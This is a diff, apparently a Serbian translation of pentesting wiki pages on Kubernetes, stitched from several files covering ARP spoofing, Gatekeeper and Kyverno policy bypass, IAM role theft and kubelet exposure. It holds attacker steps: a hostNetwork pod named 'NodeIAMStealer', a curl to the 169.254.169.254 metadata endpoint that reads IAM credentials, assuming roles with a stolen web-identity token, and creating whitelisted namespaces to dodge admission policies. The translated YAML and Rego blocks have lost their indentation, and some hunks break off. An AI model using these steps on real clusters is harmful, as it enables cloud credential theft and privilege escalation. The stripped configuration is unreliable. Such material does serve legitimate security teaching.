+ARP spoofing napadi uključuju **napadača koji šalje lažne ARP** (Address Resolution Protocol) poruke preko lokalne mreže. To rezultira povezivanjem **MAC adrese napadača sa IP adresom legitimnog računara ili servera na mreži**. Nakon uspešnog izvršenja takvog napada, napadač može presresti, izmeniti ili čak zaustaviti podatke u tranzitu. Napad se izvršava na Sloju 2 OSI modela, zbog čega podrazumevana povezanost u Kubernetes-u na ovom sloju izaziva bezbednosne brige.
 
-In the scenario 4 machines are going to be created:
-
-- ubuntu-pe: Privileged machine to escape to the node and check metrics (not needed for the attack)
-- **ubuntu-attack**: **Malicious** container in default namespace
-- **ubuntu-victim**: **Victim** machine in kube-system namespace
-- **mysql**: **Victim** machine in default namespace
+U scenariju će biti kreirane 4 mašine:
 
+- ubuntu-pe: Privilegovana mašina za bekstvo na čvor i proveru metrika (nije potrebna za napad)
+- **ubuntu-attack**: **Maliciozni** kontejner u podrazumevanom imenskom prostoru
+- **ubuntu-victim**: **Žrtva** mašina u kube-system imenskom prostoru
+- **mysql**: **Žrtva** mašina u podrazumevanom imenskom prostoru

-## Basic Kubernetes Networking

-If you want more details about the networking topics introduced here, go to the references.
+Ako želite više detalja o mrežnim temama predstavljenim ovde, pogledajte reference.
 
 ### ARP
 
-Generally speaking, **pod-to-pod networking inside the node** is available via a **bridge** that connects all pods. This bridge is called “**cbr0**”. (Some network plugins will install their own bridge.) The **cbr0 can also handle ARP** (Address Resolution Protocol) resolution. When an incoming packet arrives at cbr0, it can resolve the destination MAC address using ARP.
+Generalno govoreći, **mrežno povezivanje između podova unutar čvora** je dostupno putem **mosta** koji povezuje sve podove. Ovaj most se zove “**cbr0**”. (Neki mrežni dodaci će instalirati svoj vlastiti most.) **cbr0 takođe može obraditi ARP** (Protokol za rešavanje adresa) rezoluciju. Kada dolazni paket stigne na cbr0, može rešiti odredišnu MAC adresu koristeći ARP.
 
-This fact implies that, by default, **every pod running in the same node** is going to be able to **communicate** with any other pod in the same node (independently of the namespace) at ethernet level (layer 2).
+Ova činjenica implicira da, po defaultu, **svaki pod koji se izvršava u istom čvoru** će moći da **komunicira** sa bilo kojim drugim podom u istom čvoru (nezavisno od imenskog prostora) na ethernet nivou (sloj 2).
 
 > [!WARNING]
-> Therefore, it's possible to perform A**RP Spoofing attacks between pods in the same node.**
+> Stoga, moguće je izvršiti A**RP Spoofing napade između podova u istom čvoru.**
 
 ### DNS

 # Kubernetes - OPA Gatekeeper
 
-**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
+**Originalni autor ove stranice je** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
 
-## Definition
-
-Open Policy Agent (OPA) Gatekeeper is a tool used to enforce admission policies in Kubernetes. These policies are defined using Rego, a policy language provided by OPA. Below is a basic example of a policy definition using OPA Gatekeeper:
+## Definicija
 
+Open Policy Agent (OPA) Gatekeeper je alat koji se koristi za sprovođenje pravila o prijemu u Kubernetesu. Ova pravila se definišu koristeći Rego, jezik pravila koji pruža OPA. Ispod je osnovni primer definicije pravila koristeći OPA Gatekeeper:
 ```rego
 regoCopy codepackage k8srequiredlabels
 
 violation[{"msg": msg}] {
-    provided := {label | input.review.object.metadata.labels[label]}
-    required := {label | label := input.parameters.labels[label]}
-    missing := required - provided
-    count(missing) > 0
-    msg := sprintf("Required labels missing: %v", [missing])
+provided := {label | input.review.object.metadata.labels[label]}
+required := {label | label := input.parameters.labels[label]}
+missing := required - provided
+count(missing) > 0
+msg := sprintf("Required labels missing: %v", [missing])
 }
 
 default allow = false
 ```
+Ova Rego politika proverava da li su određene oznake prisutne na Kubernetes resursima. Ako nedostaju potrebne oznake, vraća poruku o kršenju. Ova politika se može koristiti da se osigura da svi resursi raspoređeni u klasteru imaju specifične oznake.
 
-This Rego policy checks if certain labels are present on Kubernetes resources. If the required labels are missing, it returns a violation message. This policy can be used to ensure that all resources deployed in the cluster have specific labels.
-
-## Apply Constraint
-
-To use this policy with OPA Gatekeeper, you would define a **ConstraintTemplate** and a **Constraint** in Kubernetes:
+## Primeni Ograničenje
 
+Da biste koristili ovu politiku sa OPA Gatekeeper-om, definisaćete **ConstraintTemplate** i **Constraint** u Kubernetes-u:
 ```yaml
 apiVersion: templates.gatekeeper.sh/v1beta1
 kind: ConstraintTemplate
 metadata:
-  name: k8srequiredlabels
+name: k8srequiredlabels
 spec:
-  crd:
-    spec:
-      names:
-        kind: K8sRequiredLabels
-  targets:
-    - target: admission.k8s.gatekeeper.sh
-      rego: |
-        package k8srequiredlabels
-        violation[{"msg": msg}] {
-            provided := {label | input.review.object.metadata.labels[label]}
-            required := {label | label := input.parameters.labels[label]}
-            missing := required - provided
-            count(missing) > 0
-            msg := sprintf("Required labels missing: %v", [missing])
-        }
+crd:
+spec:
+names:
+kind: K8sRequiredLabels
+targets:
+- target: admission.k8s.gatekeeper.sh
+rego: |
+package k8srequiredlabels
+violation[{"msg": msg}] {
+provided := {label | input.review.object.metadata.labels[label]}
+required := {label | label := input.parameters.labels[label]}
+missing := required - provided
+count(missing) > 0
+msg := sprintf("Required labels missing: %v", [missing])
+}
 
-        default allow = false
+default allow = false
 ```
 
 ```yaml
 apiVersion: constraints.gatekeeper.sh/v1beta1
 kind: K8sRequiredLabels
 metadata:
-  name: ensure-pod-has-label
+name: ensure-pod-has-label
 spec:
-  match:
-    kinds:
-      - apiGroups: [""]
-        kinds: ["Pod"]
-  parameters:
-    labels:
-      requiredLabel1: "true"
-      requiredLabel2: "true"
+match:
+kinds:
+- apiGroups: [""]
+kinds: ["Pod"]
+parameters:
+labels:
+requiredLabel1: "true"
+requiredLabel2: "true"
 ```
+U ovom YAML primeru definišemo **ConstraintTemplate** koji zahteva oznake. Zatim, imenujemo ovaj uslov `ensure-pod-has-label`, koji se poziva na `k8srequiredlabels` ConstraintTemplate i specificira potrebne oznake.
 
-In this YAML example, we define a **ConstraintTemplate** to require labels. Then, we name this constraint `ensure-pod-has-label`, which references the `k8srequiredlabels` ConstraintTemplate and specifies the required labels.
-
-When Gatekeeper is deployed in the Kubernetes cluster, it will enforce this policy, preventing the creation of pods that do not have the specified labels.
+Kada se Gatekeeper implementira u Kubernetes klaster, sprovodiće ovu politiku, sprečavajući kreiranje podova koji nemaju specificirane oznake.

+Grafički korisnički interfejs može biti dostupan za pristup OPA pravilima uz **Gatekeeper Policy Manager.** To je "jednostavan _samo-za-čitanje_ web UI za pregled statusa OPA Gatekeeper politika u Kubernetes klasteru."
 
 <figure><img src="../../../images/05-constraints.png" alt=""><figcaption></figcaption></figure>
 
-Search for the exposed service :
-
+Pretražite izloženu uslugu:
 ```bash
 $ kubectl get services -A | grep gatekeeper
 $ kubectl get services -A | grep 'gatekeeper-policy-manager-system'
 ```
+### Isključeni namespace-ovi
 
-### Excluded namespaces
-
-As illustrated in the image above, certain rules may not be applied universally across all namespaces or users. Instead, they operate on a whitelist basis. For instance, the `liveness-probe` constraint is excluded from applying to the five specified namespaces.
+Kao što je prikazano na gornjoj slici, određena pravila se možda neće primenjivati univerzalno na sve namespace-ove ili korisnike. Umesto toga, funkcionišu na osnovu bele liste. Na primer, `liveness-probe` ograničenje je isključeno iz primene na pet navedenih namespace-ova.
 
 ### Bypass
 
-With a comprehensive overview of the Gatekeeper configuration, it's possible to identify potential misconfigurations that could be exploited to gain privileges. Look for whitelisted or excluded namespaces where the rule doesn't apply, and then carry out your attack there.
+Sa sveobuhvatnim pregledom Gatekeeper konfiguracije, moguće je identifikovati potencijalne pogrešne konfiguracije koje bi mogle biti iskorišćene za sticanje privilegija. Potražite namespace-ove koji su na beloj listi ili isključeni gde pravilo ne važi, a zatim izvršite svoj napad tamo.

 ## GCP

-- Bind on it the desired permissions
-- Download a json key of the created SA
-- Mount it as a secret inside the pod
-- Set the GOOGLE_APPLICATION_CREDENTIALS environment variable pointing to the path where the json is.
+- Kreirate GCP servisni nalog
+- Povežete željene dozvole
+- Preuzmete json ključ kreiranog SA
+- Montirate ga kao tajnu unutar poda
+- Postavite GOOGLE_APPLICATION_CREDENTIALS promenljivu okruženja koja pokazuje na putanju gde se json nalazi.

 ### GKE Workload Identity
 
-With Workload Identity, we can configure a[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) to act as a[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Pods running with the Kubernetes service account will automatically authenticate as the Google service account when accessing Google Cloud APIs.
+Sa Workload Identity, možemo konfigurisati a [Kubernetes servisni nalog](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) da deluje kao a [Google servisni nalog](https://cloud.google.com/iam/docs/understanding-service-accounts). Podovi koji rade sa Kubernetes servisnim nalogom će se automatski autentifikovati kao Google servisni nalog prilikom pristupanja Google Cloud API-ima.
 
-The **first series of steps** to enable this behaviour is to **enable Workload Identity in GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) and create the GCP SA you want k8s to impersonate.

-### Kiam & Kube2IAM (IAM role for Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
+### Kiam & Kube2IAM (IAM uloga za Podove) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
 
-An (outdated) way to give IAM Roles to Pods is to use a [**Kiam**](https://github.com/uswitch/kiam) or a [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Basically you will need to run a **daemonset** in your cluster with a **kind of privileged IAM role**. This daemonset will be the one that will give access to IAM roles to the pods that need it.
-
-First of all you need to configure **which roles can be accessed inside the namespace**, and you do that with an annotation inside the namespace object:
+Jedan (zastarjeli) način da se dodele IAM uloge Podovima je korišćenje [**Kiam**](https://github.com/uswitch/kiam) ili [**Kube2IAM**](https://github.com/jtblin/kube2iam) **servera.** U suštini, potrebno je pokrenuti **daemonset** u vašem klasteru sa **nekom privilegovanom IAM ulogom**. Ovaj daemonset će biti taj koji će omogućiti pristup IAM ulogama podovima koji to zahtevaju.
 
+Prvo što treba da uradite je da konfigurišete **koje uloge mogu biti pristupne unutar imenskog prostora**, a to radite sa anotacijom unutar objekta imenskog prostora:
 ```yaml:Kiam
 kind: Namespace
 metadata:
-  name: iam-example
-  annotations:
-    iam.amazonaws.com/permitted: ".*"
+name: iam-example
+annotations:
+iam.amazonaws.com/permitted: ".*"
 ```
 
 ```yaml:Kube2iam
 apiVersion: v1
 kind: Namespace
 metadata:
-  annotations:
-    iam.amazonaws.com/allowed-roles: |
-      ["role-arn"]
-  name: default
+annotations:
+iam.amazonaws.com/allowed-roles: |
+["role-arn"]
+name: default
 ```
-
-Once the namespace is configured with the IAM roles the Pods can have you can **indicate the role you want on each pod definition with something like**:
-
+Kada je prostor imena konfigurisan sa IAM rolama koje Podovi mogu imati, možete **naznačiti ulogu koju želite u svakoj definiciji poda sa nečim poput**:
 ```yaml:Kiam & Kube2iam
 kind: Pod
 metadata:
-  name: foo
-  namespace: external-id-example
-  annotations:
-    iam.amazonaws.com/role: reportingdb-reader
+name: foo
+namespace: external-id-example
+annotations:
+iam.amazonaws.com/role: reportingdb-reader
 ```
-
 > [!WARNING]
-> As an attacker, if you **find these annotations** in pods or namespaces or a kiam/kube2iam server running (in kube-system probably) you can **impersonate every r**ole that is already **used by pods** and more (if you have access to AWS account enumerate the roles).
+> Kao napadač, ako **pronađete ove anotacije** u podovima ili prostorima imena ili ako se kiam/kube2iam server pokreće (verovatno u kube-system) možete **imitujući svaki r**ole koji već **koriste podovi** i više (ako imate pristup AWS nalogu, enumerišite uloge).
 
-#### Create Pod with IAM Role
+#### Kreirajte Pod sa IAM Ulogom
 
 > [!NOTE]
-> The IAM role to indicate must be in the same AWS account as the kiam/kube2iam role and that role must be able to access it.
-
+> IAM uloga koju treba naznačiti mora biti u istom AWS nalogu kao kiam/kube2iam uloga i ta uloga mora imati pristup.

 ### IAM Role for K8s Service Accounts via OIDC <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
 
-This is the **recommended way by AWS**.
-
-1. First of all you need to [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
-2. Then you create an IAM role with the permissions the SA will require.
-3. Create a [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) name (or the namespaces giving access to the role to all the SAs of the namespace). _The trust relationship will mainly check the OIDC provider name, the namespace name and the SA name_.
-4. Finally, **create a SA with an annotation indicating the ARN of the role**, and the pods running with that SA will have **access to the token of the role**. The **token** is **written** inside a file and the path is specified in **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
+Ovo je **preporučeni način od strane AWS**.
 
+1. Prvo treba da [napravite OIDC provajder za klaster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
+2. Zatim kreirate IAM ulogu sa dozvolama koje će SA zahtevati.
+3. Napravite [odnos poverenja između IAM uloge i SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) imenom (ili imenom prostora imena koje daje pristup ulozi svim SA-ima u prostoru imena). _Odnos poverenja će uglavnom proveravati ime OIDC provajdera, ime prostora imena i ime SA_.
+4. Na kraju, **napravite SA sa anotacijom koja označava ARN uloge**, a podovi koji se pokreću sa tom SA će imati **pristup tokenu uloge**. **Token** je **napisan** unutar datoteke i putanja je specificirana u **`AWS_WEB_IDENTITY_TOKEN_FILE`** (podrazumevano: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
 ```bash
 # Create a service account with a role
 cat >my-service-account.yaml <<EOF
 apiVersion: v1
 kind: ServiceAccount
 metadata:
-  name: my-service-account
-  namespace: default
-  annotations:
-    eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
+name: my-service-account
+namespace: default
+annotations:
+eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
 EOF
 kubectl apply -f my-service-account.yaml
 
 # Add a role to an existent service account
 kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
 ```
-
-To **get aws using the token** from `/var/run/secrets/eks.amazonaws.com/serviceaccount/token` run:
-
+Da **dobijete aws koristeći token** iz `/var/run/secrets/eks.amazonaws.com/serviceaccount/token` pokrenite:
 ```bash
 aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
 ```
-
 > [!WARNING]
-> As an attacker, if you can enumerate a K8s cluster, check for **service accounts with that annotation** to **escalate to AWS**. To do so, just **exec/create** a **pod** using one of the IAM **privileged service accounts** and steal the token.
+> Kao napadač, ako možete da enumerišete K8s klaster, proverite za **service accounts sa tom anotacijom** da **escalirate na AWS**. Da biste to uradili, jednostavno **exec/create** **pod** koristeći jedan od IAM **privileged service accounts** i ukradite token.
 >
-> Moreover, if you are inside a pod, check for env variables like **AWS_ROLE_ARN** and **AWS_WEB_IDENTITY_TOKEN.**
+> Pored toga, ako ste unutar poda, proverite za env varijable kao što su **AWS_ROLE_ARN** i **AWS_WEB_IDENTITY_TOKEN.**
 
 > [!CAUTION]
-> Sometimes the **Turst Policy of a role** might be **bad configured** and instead of giving AssumeRole access to the expected service account, it gives it to **all the service accounts**. Therefore, if you are capable of write an annotation on a controlled service account, you can access the role.
+> Ponekad može biti **loše konfigurisana** **Trust Policy of a role** i umesto da daje AssumeRole pristup očekivanom service account-u, daje ga **svim service accounts**. Stoga, ako ste u mogućnosti da napišete anotaciju na kontrolisanom service account-u, možete pristupiti roli.

 ### Node IAM Role
 
-The previos section was about how to steal IAM Roles with pods, but note that a **Node of the** K8s cluster is going to be an **instance inside the cloud**. This means that the Node is highly probable going to **have a new IAM role you can steal** (_note that usually all the nodes of a K8s cluster will have the same IAM role, so it might not be worth it to try to check on each node_).
-
-There is however an important requirement to access the metadata endpoint from the node, you need to be in the node (ssh session?) or at least have the same network:
+Prethodni odeljak je bio o tome kako ukrasti IAM uloge sa podova, ali imajte na umu da će **čvor K8s** klastera biti **instanca unutar oblaka**. To znači da je veoma verovatno da će Čvor **imati novu IAM ulogu koju možete ukrasti** (_imajte na umu da obično svi čvorovi K8s klastera imaju istu IAM ulogu, pa možda nije vredno pokušavati proveravati svaki čvor_).
 
+Međutim, postoji važan zahtev za pristup metapodacima sa čvora, morate biti na čvoru (ssh sesija?) ili barem imati istu mrežu:
 ```bash
 kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
 ```
+### Ukradi IAM Role Token
 
-### Steal IAM Role Token
-
-Previously we have discussed how to **attach IAM Roles to Pods** or even how to **escape to the Node to steal the IAM Role** the instance has attached to it.
-
-You can use the following script to **steal** your new hard worked **IAM role credentials**:
+Prethodno smo razgovarali o tome kako da **priključite IAM Role na Pods** ili čak kako da **pobegnete na Node da ukradete IAM Role** koji je instanci priključen.
 
+Možete koristiti sledeći skript da **ukradete** svoje nove, teško zarađene **IAM role kredencijale**:
 ```bash
 IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)

 ## Role-Based Access Control (RBAC)
 
-Kubernetes has an **authorization module named Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) that helps to set utilization permissions to the API server.
+Kubernetes ima **modul autorizacije nazvan Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) koji pomaže u postavljanju dozvola za korišćenje API servera.
 
-RBAC’s permission model is built from **three individual parts**:
+RBAC-ov model dozvola se sastoji od **tri pojedinačna dela**:
 
-1. **Role\ClusterRole ­–** The actual permission. It contains _**rules**_ that represent a set of permissions. Each rule contains [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) and [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb). The verb is the action that will apply on the resource.
-2. **Subject (User, Group or ServiceAccount) –** The object that will receive the permissions.
-3. **RoleBinding\ClusterRoleBinding –** The connection between Role\ClusterRole and the subject.
+1. **Role\ClusterRole ­–** Stvarna dozvola. Sadrži _**pravila**_ koja predstavljaju skup dozvola. Svako pravilo sadrži [resurse](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) i [glagole](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb). Glagol je akcija koja će se primeniti na resurs.
+2. **Subject (Korisnik, Grupa ili ServiceAccount) –** Objekat koji će primiti dozvole.
+3. **RoleBinding\ClusterRoleBinding –** Veza između Role\ClusterRole i subjekta.

-The difference between “**Roles**” and “**ClusterRoles**” is just where the role will be applied – a “**Role**” will grant access to only **one** **specific** **namespace**, while a “**ClusterRole**” can be used in **all namespaces** in the cluster. Moreover, **ClusterRoles** can also grant access to:
+Razlika između “**Roles**” i “**ClusterRoles**” je samo gde će se uloga primeniti – “**Role**” će omogućiti pristup samo **jednom** **specifičnom** **namespace-u**, dok se “**ClusterRole**” može koristiti u **svim namespace-ima** u klasteru. Štaviše, **ClusterRoles** takođe mogu omogućiti pristup:
 
-- **cluster-scoped** resources (like nodes).
-- **non-resource** endpoints (like /healthz).
-- namespaced resources (like Pods), **across all namespaces**.
-
-From **Kubernetes** 1.6 onwards, **RBAC** policies are **enabled by default**. But to enable RBAC you can use something like:
+- **resursima sa opsegom klastera** (kao što su čvorovi).
+- **ne-resursnim** krajnjim tačkama (kao što je /healthz).
+- resursima u namespace-u (kao što su Pods), **kroz sve namespace-e**.
 
+Od **Kubernetes** 1.6 nadalje, **RBAC** politike su **omogućene po defaultu**. Ali da biste omogućili RBAC, možete koristiti nešto poput:
 ```
 kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options
 ```
-
 ## Templates
 
-In the template of a **Role** or a **ClusterRole** you will need to indicate the **name of the role**, the **namespace** (in roles) and then the **apiGroups**, **resources** and **verbs** of the role:
+U šablonu **Role** ili **ClusterRole** potrebno je da navedete **ime uloge**, **namespace** (u ulogama) i zatim **apiGroups**, **resources** i **verbs** uloge:
 
-- The **apiGroups** is an array that contains the different **API namespaces** that this rule applies to. For example, a Pod definition uses apiVersion: v1. _It can has values such as rbac.authorization.k8s.io or \[\*]_.
-- The **resources** is an array that defines **which resources this rule applies to**. You can find all the resources with: `kubectl api-resources --namespaced=true`
-- The **verbs** is an array that contains the **allowed verbs**. The verb in Kubernetes defines the **type of action** you need to apply to the resource. For example, the list verb is used against collections while "get" is used against a single resource.
+- **apiGroups** je niz koji sadrži različite **API namespace** na koje se ova pravila primenjuju. Na primer, definicija Pod koristi apiVersion: v1. _Može imati vrednosti kao što su rbac.authorization.k8s.io ili \[\*]_.
+- **resources** je niz koji definiše **koje resurse se ova pravila primenjuju**. Sve resurse možete pronaći sa: `kubectl api-resources --namespaced=true`
+- **verbs** je niz koji sadrži **dozvoljene glagole**. Glagol u Kubernetes definiše **tip akcije** koju treba primeniti na resurs. Na primer, glagol list se koristi za kolekcije dok se "get" koristi za pojedinačne resurse.

-Kubernetes sometimes checks authorization for additional permissions using specialized verbs. For example:
+Kubernetes ponekad proverava autorizaciju za dodatne dozvole koristeći specijalizovane glagole. Na primer:
 
 - [PodSecurityPolicy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)
-  - `use` verb on `podsecuritypolicies` resources in the `policy` API group.
+- `use` glagol na `podsecuritypolicies` resursima u `policy` API grupi.
 - [RBAC](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping)
-  - `bind` and `escalate` verbs on `roles` and `clusterroles` resources in the `rbac.authorization.k8s.io` API group.
+- `bind` i `escalate` glagoli na `roles` i `clusterroles` resursima u `rbac.authorization.k8s.io` API grupi.
 - [Authentication](https://kubernetes.io/docs/reference/access-authn-authz/authentication/)
-  - `impersonate` verb on `users`, `groups`, and `serviceaccounts` in the core API group, and the `userextras` in the `authentication.k8s.io` API group.
+- `impersonate` glagol na `users`, `groups`, i `serviceaccounts` u core API grupi, i `userextras` u `authentication.k8s.io` API grupi.
 
 > [!WARNING]
-> You can find **all the verbs that each resource support** executing `kubectl api-resources --sort-by name -o wide`
+> Možete pronaći **sve glagole koje svaki resurs podržava** izvršavanjem `kubectl api-resources --sort-by name -o wide`

-For example you can use a **ClusterRole** to allow a particular user to run:

-### **RoleBinding and ClusterRoleBinding**
-
-[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) A **role binding grants the permissions defined in a role to a user or set of users**. It holds a list of subjects (users, groups, or service accounts), and a reference to the role being granted. A **RoleBinding** grants permissions within a specific **namespace** whereas a **ClusterRoleBinding** grants that access **cluster-wide**.

-## Definition
+## Definicija
 
-ValidatingWebhookConfiguration is a Kubernetes resource that defines a validating webhook, which is a server-side component that validates incoming Kubernetes API requests against a set of predefined rules and constraints.
+ValidatingWebhookConfiguration je Kubernetes resurs koji definiše validirajući webhook, koji je komponenta na serverskoj strani koja validira dolazne Kubernetes API zahteve prema skupu unapred definisanih pravila i ograničenja.
 
-## Purpose
+## Svrha
 
-The purpose of a ValidatingWebhookConfiguration is to define a validating webhook that will enforce a set of predefined rules and constraints on incoming Kubernetes API requests. The webhook will validate the requests against the rules and constraints defined in the configuration, and will return an error if the request does not conform to the rules.
+Svrha ValidatingWebhookConfiguration je da definiše validirajući webhook koji će sprovoditi skup unapred definisanih pravila i ograničenja na dolazne Kubernetes API zahteve. Webhook će validirati zahteve prema pravilima i ograničenjima definisanim u konfiguraciji, i vratiće grešku ako zahtev ne odgovara pravilima.
 
-**Example**
-
-Here is an example of a ValidatingWebhookConfiguration:

-The main difference between a ValidatingWebhookConfiguration and policies : 
+Glavna razlika između ValidatingWebhookConfiguration i politika : 
 
 <figure><img src="../../images/Kyverno.png" alt=""><figcaption><p>Kyverno.png</p></figcaption></figure>
 
-- **ValidatingWebhookConfiguration (VWC)** : A Kubernetes resource that defines a validating webhook, which is a server-side component that validates incoming Kubernetes API requests against a set of predefined rules and constraints.
-- **Kyverno ClusterPolicy**: A policy definition that specifies a set of rules and constraints for validating and enforcing Kubernetes resources, such as pods, deployments, and services
+- **ValidatingWebhookConfiguration (VWC)** : Kubernetes resurs koji definiše validirajući webhook, što je komponenta na serverskoj strani koja validira dolazne Kubernetes API zahteve prema skupu unapred definisanih pravila i ograničenja.
+- **Kyverno ClusterPolicy**: Definicija politike koja specificira skup pravila i ograničenja za validaciju i sprovođenje Kubernetes resursa, kao što su podovi, implementacije i servisi
 
 ## Enumeration
-
 ```
 $ kubectl get ValidatingWebhookConfiguration
 ```
+### Zloupotreba Kyverno i Gatekeeper VWC
 
-### Abusing Kyverno and Gatekeeper VWC
+Kao što možemo videti, svi instalirani operatori imaju barem jednu ValidatingWebHookConfiguration (VWC).
 
-As we can see all operators installed have at least one ValidatingWebHookConfiguration(VWC).
+**Kyverno** i **Gatekeeper** su oba Kubernetes policy engine-a koji pružaju okvir za definisanje i sprovođenje politika širom klastera.
 
-**Kyverno** and **Gatekeeper** are both Kubernetes policy engines that provide a framework for defining and enforcing policies across a cluster.
+Izuzeci se odnose na specifična pravila ili uslove koji omogućavaju da se politika zaobiđe ili izmeni pod određenim okolnostima, ali to nije jedini način!
 
-Exceptions refer to specific rules or conditions that allow a policy to be bypassed or modified under certain circumstances but this is not the only way !
+Za **kyverno**, kada postoji validirajuća politika, webhook `kyverno-resource-validating-webhook-cfg` se popunjava.
 
-For **kyverno**, as you as there is a validating policy, the webhook `kyverno-resource-validating-webhook-cfg` is populated.
+Za Gatekeeper, postoji `gatekeeper-validating-webhook-configuration` YAML datoteka.
 
-For Gatekeeper, there is `gatekeeper-validating-webhook-configuration` YAML file.
-
-Both come from with default values but the Administrator teams might updated those 2 files.
-
-### Use Case
+Oba dolaze sa podrazumevanim vrednostima, ali timovi administratora mogu ažurirati te 2 datoteke.
 
+### Upotreba slučaja
 ```bash
 $ kubectl get validatingwebhookconfiguration kyverno-resource-validating-webhook-cfg -o yaml
 ```
-
-Now, identify the following output :
-
+Sada identifikujte sledeći izlaz:
 ```yaml
 namespaceSelector:
-  matchExpressions:
-    - key: kubernetes.io/metadata.name
-      operator: NotIn
-      values:
-        - default
-        - TEST
-        - YOYO
-        - kube-system
-        - MYAPP
+matchExpressions:
+- key: kubernetes.io/metadata.name
+operator: NotIn
+values:
+- default
+- TEST
+- YOYO
+- kube-system
+- MYAPP
 ```
-
 Here, `kubernetes.io/metadata.name` label refers to the namespace name. Namespaces with names in the `values` list will be excluded from the policy :
 
-Check namespaces existence. Sometimes, due to automation or misconfiguration, some namespaces might have not been created. If you have permission to create namespace, you could create a namespace with a name in the `values` list and policies won't apply your new namespace.
+Proverite postojanje prostora imena. Ponekad, zbog automatizacije ili pogrešne konfiguracije, neki prostori imena možda nisu kreirani. Ako imate dozvolu da kreirate prostor imena, možete kreirati prostor imena sa imenom iz `values` liste i politike se neće primenjivati na vaš novi prostor imena.
 
-The goal of this attack is to exploit **misconfiguration** inside VWC in order to bypass operators restrictions and then elevate your privileges with other techniques
+Cilj ovog napada je da iskoristi **pogrešnu konfiguraciju** unutar VWC kako bi zaobišao ograničenja operatera i zatim povećao svoje privilegije drugim tehnikama

-### **Checking Kubelet (Read Only Port) Information Exposure**
+### **Proveravanje izlaganja informacija Kubelet-a (samo za čitanje)**
 
-When a **kubelet read-only port** is exposed, it becomes possible for information to be retrieved from the API by unauthorized parties. The exposure of this port may lead to the disclosure of various **cluster configuration elements**. Although the information, including **pod names, locations of internal files, and other configurations**, may not be critical, its exposure still poses a security risk and should be avoided.
+Kada je **kubelet port za čitanje** izložen, postaje moguće da neovlašćene strane dobiju informacije sa API-ja. Izlaganje ovog porta može dovesti do otkrivanja različitih **elemenata konfiguracije klastera**. Iako informacije, uključujući **imena podova, lokacije internih fajlova i druge konfiguracije**, možda nisu kritične, njihovo izlaganje i dalje predstavlja bezbednosni rizik i treba ga izbegavati.
 
-An example of how this vulnerability can be exploited involves a remote attacker accessing a specific URL. By navigating to `http://<external-IP>:10255/pods`, the attacker can potentially retrieve sensitive information from the kubelet:
+Primer kako se ova ranjivost može iskoristiti uključuje udaljenog napadača koji pristupa određenom URL-u. Navigacijom do `http://<external-IP>:10255/pods`, napadač može potencijalno dobiti osetljive informacije iz kubelet-a:

 ## Kubelet Authentication <a href="#kubelet-authentication" id="kubelet-authentication"></a>
 
-[**From the docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
+[**Iz dokumenata:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
 
-By default, requests to the kubelet's HTTPS endpoint that are not rejected by other configured authentication methods are treated as anonymous requests, and given a **username of `system:anonymous`** and a **group of `system:unauthenticated`**.
+Po defaultu, zahtevi ka kubelet-ovom HTTPS kraju koji nisu odbijeni od strane drugih konfiguranih metoda autentifikacije tretiraju se kao anonimni zahtevi, i dodeljuju im se **korisničko ime `system:anonymous`** i **grupa `system:unauthenticated`**.
 
-The **3** authentication **methods** are:
-
-- **Anonymous** (default): Use set setting the param **`--anonymous-auth=true` or the config:**
+**3** metode **autentifikacije** su:
 
+- **Anonimna** (podrazumevano): Koristite postavku postavljanjem parametra **`--anonymous-auth=true` ili konfiguraciju:**
 ```json
 "authentication": {
-    "anonymous": {
-      "enabled": true
-    },
